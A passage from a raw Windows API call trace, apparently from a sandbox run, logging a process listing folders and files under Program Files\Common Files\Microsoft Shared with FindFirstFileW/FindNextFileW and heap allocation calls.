ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0169.865] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="IMCONT~1.DLL")) returned 1 [0169.865] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1 [0169.865] GetProcessHeap () returned 0x6a0000 [0169.866] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3736550 [0169.866] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0169.866] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.866] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0169.866] GetProcessHeap () returned 0x6a0000 [0169.866] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0169.866] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0169.866] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.867] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1 [0169.867] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a301d00, ftCreationTime.dwHighDateTime=0x1c2d7fa, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a301d00, ftLastWriteTime.dwHighDateTime=0x1c2d7fa, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="PHONE.XML", cAlternateFileName="")) returned 1 [0169.867] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1271800, ftCreationTime.dwHighDateTime=0x1c4481e, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc1271800, ftLastWriteTime.dwHighDateTime=0x1c4481e, nFileSizeHigh=0x0, nFileSizeLow=0x9869, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.DAT", cAlternateFileName="")) returned 1 [0169.867] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5866b900, ftCreationTime.dwHighDateTime=0x1c29047, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5866b900, ftLastWriteTime.dwHighDateTime=0x1c29047, nFileSizeHigh=0x0, nFileSizeLow=0xa7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOCKS.XML", cAlternateFileName="")) returned 1 [0169.868] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0169.868] GetProcessHeap () returned 0x6a0000 [0169.868] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0169.868] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0169.868] GetProcessHeap () returned 0x6a0000 [0169.868] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0169.870] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0169.870] GetProcessHeap () returned 0x6a0000 [0169.870] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0169.872] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef4d890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0169.872] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0169.872] GetProcessHeap () returned 0x6a0000 [0169.872] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0169.872] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e177d26, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e177d26, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0169.909] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0169.910] GetProcessHeap () returned 0x6a0000 [0169.910] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0169.910] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0169.910] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0169.911] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0169.915] GetProcessHeap () returned 0x6a0000 [0169.915] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0169.915] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0169.915] GetProcessHeap () returned 0x6a0000 [0169.915] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3712528 | out: hHeap=0x6a0000) returned 1 [0169.915] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0169.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0169.938] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0169.939] GetProcessHeap () returned 0x6a0000 [0169.939] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0169.939] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0169.953] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0169.953] GetProcessHeap () returned 0x6a0000 [0169.953] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0169.953] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0169.961] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0169.961] GetProcessHeap () returned 0x6a0000 [0169.961] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0169.961] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0169.967] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0169.967] GetProcessHeap () returned 0x6a0000 [0169.967] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0169.967] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0169.968] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0169.968] GetProcessHeap () returned 0x6a0000 [0169.968] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0169.968] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0169.972] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0169.972] GetProcessHeap () returned 0x6a0000 [0169.972] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0169.972] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0169.976] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0169.976] GetProcessHeap () returned 0x6a0000 [0169.976] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0169.976] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0169.991] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0169.991] GetProcessHeap () returned 0x6a0000 [0169.991] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0169.991] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0169.995] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0169.995] GetProcessHeap () returned 0x6a0000 [0169.995] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0169.995] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0169.996] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0169.996] GetProcessHeap () returned 0x6a0000 [0169.996] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0169.997] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0169.999] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0169.999] GetProcessHeap () returned 0x6a0000 [0169.999] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0169.999] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.000] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.001] GetProcessHeap () returned 0x6a0000 [0170.001] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.001] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.001] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.001] GetProcessHeap () returned 0x6a0000 [0170.001] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.001] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.002] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.003] GetProcessHeap () returned 0x6a0000 [0170.003] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.003] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.004] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.004] GetProcessHeap () returned 0x6a0000 [0170.004] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.004] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.005] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.006] GetProcessHeap () returned 0x6a0000 [0170.006] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.006] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.007] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.007] GetProcessHeap () returned 0x6a0000 [0170.007] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3736550 | out: hHeap=0x6a0000) returned 1 [0170.007] 